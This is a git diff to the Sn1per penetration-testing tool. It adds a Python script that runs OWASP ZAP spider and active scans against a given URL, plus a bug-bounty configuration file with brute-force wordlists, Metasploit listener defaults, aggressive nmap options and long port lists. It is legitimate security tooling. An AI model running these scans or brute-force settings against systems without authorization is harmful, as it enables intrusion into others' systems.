diff --git a/CHANGELOG.md b/CHANGELOG.md index 5cb5a91..9d13a34 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,15 @@ ## CHANGELOG: -* v8.4 - Fixed issue with airstrike mode not updated Sn1per Professional v8.0 host list +* v8.4 - Added project "Sc0pe" active/passive vulnerability scanner +* v8.4 - Added 68 new active sc0pe templates +* v8.4 - Added 14 new passive sc0pe templates +* v8.4 - Added OWASP ZAP API integration +* v8.4 - Added 8 new Sn1per configuration templates (see /usr/share/sniper/conf/) +* v8.4 - Added Gua (https://github.com/lc/gau) * v8.4 - Added rapiddns subdomain retrieval +* v8.4 - Updated web content wordlists +* v8.4 - Improved efficiency of 'web' and 'recon' mode scans +* v8.4 - Fixed issue with dirsearch asterisk being used incorrectly +* v8.4 - Fixed issue with airstrike mode not updated Sn1per Professional v8.0 host list * v8.3 - Added Github subdomain retrieval (requires API key/conf options enabled) * v8.3 - Added NMAP_OPTIONS setting to sniper.conf to configure optional NMap scan settings * v8.3 - Added option to specify custom Sn1per configuration via (-c) switch diff --git a/bin/zap-scan.py b/bin/zap-scan.py new file mode 100644 index 0000000..13d4817 --- /dev/null +++ b/bin/zap-scan.py @@ -0,0 +1,509 @@ +#!/usr/bin/env python3 + +''' +This script aims to be the most generic and the most explicit possible. +It works with OWASP ZAP API Python client. +To use it, you have to load the Python API client module and start ZAP + +Before starting this script for the first time: Open ZAP, go to +Tools -> Options -> API -> Generate random Key, copy and paste the key in the +variable "apiKey" of the configuration area + +This script is divided into two parts : a configuration area, where you have to +change variables according to your needs, and the part with API calls. + +Author : aine-rb on Github, from Sopra Steria - modified for Sn1per by @xer0dayz +''' + +import time +from pprint import pprint +from zapv2 import ZAPv2 +import sys, getopt + +targetURL = str(sys.argv[1]) + +####################################### +### BEGINNING OF CONFIGURATION AREA ### +####################################### +## The user only needs to change variable values bellow to make the script +## work according to his/her needs. MANDATORY parameters must not be empty + +# MANDATORY. Define the API key generated by ZAP and used to verify actions. +apiKey='' + +# MANDATORY. Define the listening address of ZAP instance +localProxy = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"} + +# MANDATORY. True to create another ZAP session (overwrite the former if the +# same name already exists), False to use an existing one +isNewSession = True +# MANDATORY. ZAP Session name +sessionName = 'WebgoatSession' + +# Define the list of global exclude URL regular expressions. List can be empty. +# The expressions must follow the java.util.regex.Pattern class syntax +# The following example excludes every single URL except http://localhost:8081 +globalExcludeUrl = ['^(?:(?!http:\/\/localhost:8081).*).$'] + +# MANDATORY. Define if an outgoing proxy server is used +useProxyChain = False +# MANDATORY only if useProxyChain is True, ignored otherwise. +# Outgoing proxy address and port +proxyAddress = 'my.corp.proxy' +proxyPort = '8080' +# Define the addresses to skip in case useProxyChain is True. Ignored +# otherwise. List can be empty. +skipProxyAddresses = ('127.0.0.1;' + 'localhost') +# MANDATORY only if useProxyChain is True. Ignored otherwise. +# Define if proxy server needs authentication +useProxyChainAuth = False +# MANDATORY only if useProxyChainAuth is True. Ignored otherwise +proxyUsername = '' +proxyPassword = '' +proxyRealm = '' + +# MANDATORY. Determine if a proxy script must be loaded. Proxy scripts are +# executed for every request traversing ZAP +useProxyScript = False +# MANDATORY only if useProxyScript is True. Ignored otherwise +proxyScriptName = 'proxyScript.js' +# Script engine values: "Oracle Nashorn" for Javascript, +# "jython" for python, "JSR 223 JRuby Engine" for ruby +proxyScriptEngine = 'Oracle Nashorn' +# Asolute local path +proxyScriptFileName = '/zap/scripts/proxy/proxyScript.js' +proxyScriptDescription = 'This is a description' + +# MANDATORY. Determine if context must be configured then used during scans. +# You have to set this parameter to True if you want that ZAP performs scans +# from the point of view of a specific user +useContextForScan = False + +# MANDATORY only if useContextForScan is True. Ignored otherwise. Set value to +# True to define a new context. Set value to False to use an existing one. +defineNewContext = False +# MANDATORY only if defineNewContext is True. Ignored otherwise +contextName = 'WebGoat_script-based' +# MANDATORY only if defineNewContext is False. Disregarded otherwise. +# Corresponds to the ID of the context to use +contextId = 0 +# Define Context Include URL regular expressions. Ignored if useContextForScan +# is False. You have to put the URL you want to test in this list. +contextIncludeURL = [targetURL + '.*'] +# Define Context Exclude URL regular expressions. Ignored if useContextForScan +# is False. List can be empty. +contextExcludeURL = ['http://localhost:8081/WebGoat/j_spring_security_logout', + 'http://localhost:8081/WebGoat/logout.mvc'] + +# MANDATORY only if useContextForScan is True. Ignored otherwise. Define the +# session management method for the context. Possible values are: +# "cookieBasedSessionManagement"; "httpAuthSessionManagement" +sessionManagement = 'cookieBasedSessionManagement' + +# MANDATORY only if useContextForScan is True. Ignored otherwise. Define +# authentication method for the context. Possible values are: +# "manualAuthentication"; "scriptBasedAuthentication"; "httpAuthentication"; +# "formBasedAuthentication" +authMethod = 'scriptBasedAuthentication' + +# MANDATORY only if authMethod is set to scriptBasedAuthentication. +# Ignored otherwise +authScriptName = 'TwoStepAuthentication.js' +# Script engine values: Oracle Nashorn for Javascript +# jython for python, JSR 223 JRuby Engine for ruby +authScriptEngine = 'Oracle Nashorn' +# Absolute local path +authScriptFileName = '/zap/scripts/authentication/TwoStepAuthentication.js' +authScriptDescription = 'This is a description' + +# MANDATORY only if useContextForScan is True. Ignored otherwise. Each +# name/value pair of authParams are expected to be "x-www-form-urlencoded" +# Here is an example for scriptBasedAuthentication method: +authParams = ('scriptName=' + authScriptName + '&' + 'Submission Form URL=http://localhost:8081/WebGoat/j_spring_security_check&' + 'Username field=username&' + 'Password field=password&' + 'Target URL=http://localhost:8081/WebGoat/welcome.mvc') +## Here is an example for formBasedAuthentication method: +#authParams = ('loginUrl=http://localhost:8081/WebGoat/j_spring_security_check&' +# 'loginRequestData=username%3D%7B%25username%25%7D%26' +# 'password%3D%7B%25password%25%7D') +##Here is an example for httpAuthentication method: +#authParams = ('hostname=http://www.example.com&' +# 'realm=CORP\\administrator&' +# 'port=80') + +# MANDATORY only if useContextForScan is True. Ignored otherwise. +# Set the value to True if a loggedin indicator must be used. False if it's a +# logged out indicator that must be used +isLoggedInIndicator = False +# MANDATORY only if useContextForScan is True. Ignored otherwise. +# Define either a loggedin or a loggedout indicator regular expression. +# It allows ZAP to see if the user is always authenticated during scans. +indicatorRegex = '\QLocation: http://localhost:8081/WebGoat/login.mvc\E' + + +# MANDATORY only if useContextForScan is True. Ignored otherwise. +# Set value to True to create new users, False otherwise +createUser = False +# MANDATORY only if createUser is True. Ignored otherwise. Define the list of +# users, with name and credentials (in x-www-form-urlencoded format) +## Here is an example with the script NashornTwoStepAuthentication.js: +userList = [ + {'name': 'guest', 'credentials': 'Username=guest&Password=guest'}, + {'name': 'webgoat', 'credentials': 'Username=webgoat&Password=webgoat'} +] +## Here is an example with formBasedAuthentication: +#userList = [ +# {'name': 'guest', 'credentials': 'username=guest&password=guest'}, +# {'name': 'webgoat', 'credentials': 'username=webgoat&password=webgoat'} +#] + +# MANDATORY only if useContextForScan is True. Ignored otherwise. List can be +# empty. Define the userid list. Created users will be added to this list later +userIdList = [] + +# MANDATORY. Define the target site to test +#target = 'http://10.0.0.19/' +target = targetURL +# You can specify other URL in order to help ZAP discover more site locations +# List can be empty +applicationURL = [''] + +# MANDATORY. Set value to True if you want to customize and use a scan policy +useScanPolicy = False +# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set a policy name +scanPolicyName = 'SQL Injection and XSS' +# MANDATORY only if useScanPolicy is True. Ignored otherwise. +# Set value to True to disable all scan types except the ones set in ascanIds, +# False to enable all scan types except the ones set in ascanIds.. +isWhiteListPolicy = False +# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set the scan IDs +# to use with the policy. Other scan types will be disabled if +# isWhiteListPolicy is True, enabled if isWhiteListPolicy is False. +# Use zap.ascan.scanners() to list all ascan IDs. +## In the example bellow, the first line corresponds to SQL Injection scan IDs, +## the second line corresponds to some XSS scan IDs +ascanIds = [40018, 40019, 40020, 40021, 40022, 40024, 90018, + 40012, 40014, 40016, 40017] +# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set the alert +# Threshold and the attack strength of enabled active scans. +# Currently, possible values are: +# Low, Medium and High for alert Threshold +# Low, Medium, High and Insane for attack strength +alertThreshold = 'Medium' +attackStrength = 'Low' + +# MANDATORY. Set True to use Ajax Spider, False otherwise. +useAjaxSpider = True + +# MANDATORY. Set True to shutdown ZAP once finished, False otherwise +shutdownOnceFinished = False + +################################# +### END OF CONFIGURATION AREA ### +################################# +sys.stdout = open("/usr/share/sniper/bin/zap-report.txt", "w") + +# Connect ZAP API client to the listening address of ZAP instance +zap = ZAPv2(proxies=localProxy, apikey=apiKey) + +# Start the ZAP session +core = zap.core +if isNewSession: + pprint('Create ZAP session: ' + sessionName + ' -> ' + + core.new_session(name=sessionName, overwrite=True)) +else: + pprint('Load ZAP session: ' + sessionName + ' -> ' + + core.load_session(name=sessionName)) + +# Configure ZAP global Exclude URL option +print('Add Global Exclude URL regular expressions:') +for regex in globalExcludeUrl: + pprint(regex + ' ->' + core.exclude_from_proxy(regex=regex)) + +# Configure ZAP outgoing proxy server connection option +pprint('Enable outgoing proxy chain: ' + str(useProxyChain) + ' -> ' + + core.set_option_use_proxy_chain(boolean=useProxyChain)) +if useProxyChain: + pprint('Set outgoing proxy name: ' + proxyAddress + ' -> ' + + core.set_option_proxy_chain_name(string=proxyAddress)) + pprint('Set outgoing proxy port: ' + proxyPort + ' -> ' + + core.set_option_proxy_chain_port(integer=proxyPort)) + pprint('Skip names for outgoing proxy: ' + skipProxyAddresses + ' -> ' + + core.set_option_proxy_chain_skip_name(string=skipProxyAddresses)) + + # Configure ZAP outgoing proxy server authentication + pprint('Set outgoing proxy chain authentication: ' + + str(useProxyChainAuth) + ' -> ' + + core.set_option_use_proxy_chain_auth(boolean=useProxyChainAuth)) + if useProxyChainAuth: + pprint('Set outgoing proxy username -> ' + + core.set_option_proxy_chain_user_name(string=proxyUsername)) + pprint('Set outgoing proxy password -> ' + + core.set_option_proxy_chain_password(string=proxyPassword)) + pprint('Set outgoing proxy realm: ' + proxyRealm + ' -> ' + + core.set_option_proxy_chain_realm(string=proxyRealm)) + +if useProxyScript: + script = zap.script + script.remove(scriptname=proxyScriptName) + pprint('Load proxy script: ' + proxyScriptName + ' -> ' + + script.load(scriptname=proxyScriptName, scripttype='proxy', + scriptengine=proxyScriptEngine, + filename=proxyScriptFileName, + scriptdescription=proxyScriptDescription)) + pprint('Enable proxy script: ' + proxyScriptName + ' -> ' + + script.enable(scriptname=proxyScriptName)) + + +if useContextForScan: + # Define the ZAP context + context = zap.context + if defineNewContext: + contextId = context.new_context(contextname=contextName) + pprint('Use context ID: ' + contextId) + + # Include URL in the context + print('Include URL in context:') + for url in contextIncludeURL: + pprint(url + ' -> ' + + context.include_in_context(contextname=contextName, + regex=url)) + + # Exclude URL in the context + print('Exclude URL from context:') + for url in contextExcludeURL: + pprint(url + ' -> ' + + context.exclude_from_context(contextname=contextName, + regex=url)) + + # Setup session management for the context. + # There is no methodconfigparams to provide for both current methods + pprint('Set session management method: ' + sessionManagement + ' -> ' + + zap.sessionManagement.set_session_management_method( + contextid=contextId, methodname=sessionManagement, + methodconfigparams=None)) + + ## In case we use the scriptBasedAuthentication method, load the script + if authMethod == 'scriptBasedAuthentication': + script = zap.script + script.remove(scriptname=authScriptName) + pprint('Load script: ' + authScriptName + ' -> ' + + script.load(scriptname=authScriptName, + scripttype='authentication', + scriptengine=authScriptEngine, + filename=authScriptFileName, + scriptdescription=authScriptDescription)) + + # Define an authentication method with parameters for the context + auth = zap.authentication + pprint('Set authentication method: ' + authMethod + ' -> ' + + auth.set_authentication_method(contextid=contextId, + authmethodname=authMethod, + authmethodconfigparams=authParams)) + # Define either a loggedin indicator or a loggedout indicator regexp + # It allows ZAP to see if the user is always authenticated during scans + if isLoggedInIndicator: + pprint('Define Loggedin indicator: ' + indicatorRegex + ' -> ' + + auth.set_logged_in_indicator(contextid=contextId, + loggedinindicatorregex=indicatorRegex)) + else: + pprint('Define Loggedout indicator: ' + indicatorRegex + ' -> ' + + auth.set_logged_out_indicator(contextid=contextId, + loggedoutindicatorregex=indicatorRegex)) + + # Define the users + users = zap.users + if createUser: + for user in userList: + userName = user.get('name') + print('Create user ' + userName + ':') + userId = users.new_user(contextid=contextId, name=userName) + userIdList.append(userId) + pprint('User ID: ' + userId + '; username -> ' + + users.set_user_name(contextid=contextId, userid=userId, + name=userName) + + '; credentials -> ' + + users.set_authentication_credentials(contextid=contextId, + userid=userId, + authcredentialsconfigparams=user.get('credentials')) + + '; enabled -> ' + + users.set_user_enabled(contextid=contextId, userid=userId, + enabled=True)) + +# Enable all passive scanners (it's possible to do a more specific policy by +# setting needed scan ID: Use zap.pscan.scanners() to list all passive scanner +# IDs, then use zap.scan.enable_scanners(ids) to enable what you want +pprint('Enable all passive scanners -> ' + + zap.pscan.enable_all_scanners()) + +ascan = zap.ascan +# Define if a new scan policy is used +if useScanPolicy: + ascan.remove_scan_policy(scanpolicyname=scanPolicyName) + pprint('Add scan policy ' + scanPolicyName + ' -> ' + + ascan.add_scan_policy(scanpolicyname=scanPolicyName)) + for policyId in range(0, 5): + # Set alert Threshold for all scans + ascan.set_policy_alert_threshold(id=policyId, + alertthreshold=alertThreshold, + scanpolicyname=scanPolicyName) + # Set attack strength for all scans + ascan.set_policy_attack_strength(id=policyId, + attackstrength=attackStrength, + scanpolicyname=scanPolicyName) + if isWhiteListPolicy: + # Disable all active scanners in order to enable only what you need + pprint('Disable all scanners -> ' + + ascan.disable_all_scanners(scanpolicyname=scanPolicyName)) + # Enable some active scanners + pprint('Enable given scan IDs -> ' + + ascan.enable_scanners(ids=ascanIds, + scanpolicyname=scanPolicyName)) + else: + # Enable all active scanners + pprint('Enable all scanners -> ' + + ascan.enable_all_scanners(scanpolicyname=scanPolicyName)) + # Disable some active scanners + pprint('Disable given scan IDs -> ' + + ascan.disable_scanners(ids=ascanIds, + scanpolicyname=scanPolicyName)) +else: + print('No custom policy used for scan') + scanPolicyName = None + +# Open URL inside ZAP +pprint('Access target URL ' + target) +core.access_url(url=target, followredirects=True) +for url in applicationURL: + pprint('Access URL ' + url) + core.access_url(url=url, followredirects=True) +# Give the sites tree a chance to get updated +time.sleep(2) + +# Launch Spider, Ajax Spider (if useAjaxSpider is set to true) and +# Active scans, with a context and users or not +forcedUser = zap.forcedUser +spider = zap.spider +ajax = zap.ajaxSpider +scanId = 0 +print('Starting Scans on target: ' + target) +if useContextForScan: + for userId in userIdList: + print('Starting scans with User ID: ' + userId) + + # Spider the target and recursively scan every site node found + scanId = spider.scan_as_user(contextid=contextId, userid=userId, + url=target, maxchildren=None, recurse=True, subtreeonly=None) + print('Start Spider scan with user ID: ' + userId + + '. Scan ID equals: ' + scanId) + # Give the spider a chance to start + time.sleep(2) + while (int(spider.status(scanId)) < 100): + print('Spider progress: ' + spider.status(scanId) + '%') + time.sleep(2) + print('Spider scan for user ID ' + userId + ' completed') + + if useAjaxSpider: + # Prepare Ajax Spider scan + pprint('Set forced user mode enabled -> ' + + forcedUser.set_forced_user_mode_enabled(boolean=True)) + pprint('Set user ID: ' + userId + ' for forced user mode -> ' + + forcedUser.set_forced_user(contextid=contextId, + userid=userId)) + # Ajax Spider the target URL + pprint('Ajax Spider the target with user ID: ' + userId + ' -> ' + + ajax.scan(url=target, inscope=None)) + # Give the Ajax spider a chance to start + time.sleep(10) + while (ajax.status != 'stopped'): + print('Ajax Spider is ' + ajax.status) + time.sleep(5) + for url in applicationURL: + # Ajax Spider every url configured + pprint('Ajax Spider the URL: ' + url + ' with user ID: ' + + userId + ' -> ' + + ajax.scan(url=url, inscope=None)) + # Give the Ajax spider a chance to start + time.sleep(10) + while (ajax.status != 'stopped'): + print('Ajax Spider is ' + ajax.status) + time.sleep(5) + pprint('Set forced user mode disabled -> ' + + forcedUser.set_forced_user_mode_enabled(boolean=False)) + print('Ajax Spider scan for user ID ' + userId + ' completed') + + # Launch Active Scan with the configured policy on the target url + # and recursively scan every site node + scanId = ascan.scan_as_user(url=target, contextid=contextId, + userid=userId, recurse=True, scanpolicyname=scanPolicyName, + method=None, postdata=True) + print('Start Active Scan with user ID: ' + userId + + '. Scan ID equals: ' + scanId) + # Give the scanner a chance to start + time.sleep(2) + while (int(ascan.status(scanId)) < 100): + print('Active Scan progress: ' + ascan.status(scanId) + '%') + time.sleep(2) + print('Active Scan for user ID ' + userId + ' completed') + +else: + # Spider the target and recursively scan every site node found + scanId = spider.scan(url=target, maxchildren=None, recurse=True, + contextname=None, subtreeonly=None) + print('Scan ID equals ' + scanId) + # Give the Spider a chance to start + time.sleep(2) + while (int(spider.status(scanId)) < 100): + print('Spider progress ' + spider.status(scanId) + '%') + time.sleep(2) + print('Spider scan completed') + + if useAjaxSpider: + # Ajax Spider the target URL + pprint('Start Ajax Spider -> ' + ajax.scan(url=target, inscope=None)) + # Give the Ajax spider a chance to start + time.sleep(10) + while (ajax.status != 'stopped'): + print('Ajax Spider is ' + ajax.status) + time.sleep(5) + for url in applicationURL: + # Ajax Spider every url configured + pprint('Ajax Spider the URL: ' + url + ' -> ' + + ajax.scan(url=url, inscope=None)) + # Give the Ajax spider a chance to start + time.sleep(10) + while (ajax.status != 'stopped'): + print('Ajax Spider is ' + ajax.status) + time.sleep(5) + print('Ajax Spider scan completed') + + # Launch Active scan with the configured policy on the target url and + # recursively scan every site node + scanId = zap.ascan.scan(url=target, recurse=True, inscopeonly=None, + scanpolicyname=scanPolicyName, method=None, postdata=True) + print('Start Active scan. Scan ID equals ' + scanId) + while (int(ascan.status(scanId)) < 100): + print('Active Scan progress: ' + ascan.status(scanId) + '%') + time.sleep(5) + print('Active Scan completed') + +# Give the passive scanner a chance to finish +time.sleep(5) + +# If you want to retrieve alerts: +## pprint(zap.core.alerts(baseurl=target, start=None, count=None)) + +# To retrieve ZAP report in XML or HTML format +## print('XML report') +## core.xmlreport() +print('HTML report:') +pprint(core.htmlreport()) + +if shutdownOnceFinished: + # Shutdown ZAP once finished + pprint('Shutdown ZAP -> ' + core.shutdown()) + +sys.stdout.close() \ No newline at end of file diff --git a/conf/bug_bounty_full_brute b/conf/bug_bounty_full_brute new file mode 100644 index 0000000..6cd4f8b --- /dev/null +++ b/conf/bug_bounty_full_brute @@ -0,0 +1,210 @@ +INSTALL_DIR="/usr/share/sniper" +SNIPER_PRO=$INSTALL_DIR/pro.sh +PLUGINS_DIR="$INSTALL_DIR/plugins" + +# COLORS +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' +REGEX='^[0-9]+$' + +# DEFAULT SETTINGS +VERBOSE="0" +AUTOBRUTE="0" +FULLNMAPSCAN="0" +OSINT="0" +ENABLE_AUTO_UPDATES="1" +# ONLINE="1" +REPORT="1" +LOOT="1" +SC0PE_VULNERABLITY_SCANNER="1" + +# SN1PER PROFESSIONAL SETTINGS +SNIPER_PRO_CONSOLE_OUTPUT="0" +SN1PER_AUTOLOAD="1" +MAX_HOSTS="2000" + +# DEFAULT BROWSER +BROWSER="firefox" + +# BURP 2.0 SCANNER CONFIG +BURP_HOST="127.0.0.1" +BURP_PORT="1338" + +# OPENVAS CONFIG +OPENVAS="1" +OPENVAS_HOST="127.0.0.1" +OPENVAS_PORT="9390" +OPENVAS_USERNAME="admin" +OPENVAS_PASSWORD="" + +# METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" +MSF_LHOST="127.0.0.1" +MSF_LPORT="4444" + +# SHODAN API KEY +SHODAN_API_KEY="" + +# CENSYS API KEYS +CENSYS_APP_ID="" +CENSYS_API_SECRET="" + +# HUNTER.IO API KEY +HUNTERIO_KEY="" + +# GITHUB API KEY +GITHUB_API_KEY="" + +# SLACK API +SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" +SLACK_NOTIFICATIONS_THEHARVESTER="0" +SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" +SLACK_NOTIFICATIONS_SUBNETS="0" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" +SLACK_NOTIFICATIONS_WHATWEB="0" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" +SLACK_NOTIFICATIONS_WHOIS="0" +SLACK_NOTIFICATIONS_METAGOOFIL="0" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" + +# WEB BRUTE FORCE WORDLISTS +WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" +WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" +WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" + +# DOMAIN WORDLISTS +DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" + +# DEFAULT USER/PASS WORDLISTS +USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" +PASS_FILE="/usr/share/brutex/wordlists/password.lst" +DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" + +# TOOL DIRECTORIES +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" + +# FLYOVER MODE TUNING +FLYOVER_MAX_HOSTS="5" +FLYOVER_DELAY="10" + +# NMAP OPTIONS +NMAP_OPTIONS="-sV -Pn -O --osscan-guess --max-os-tries 1 --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" + +# NMAP PORT CONFIGURATIONS +QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" 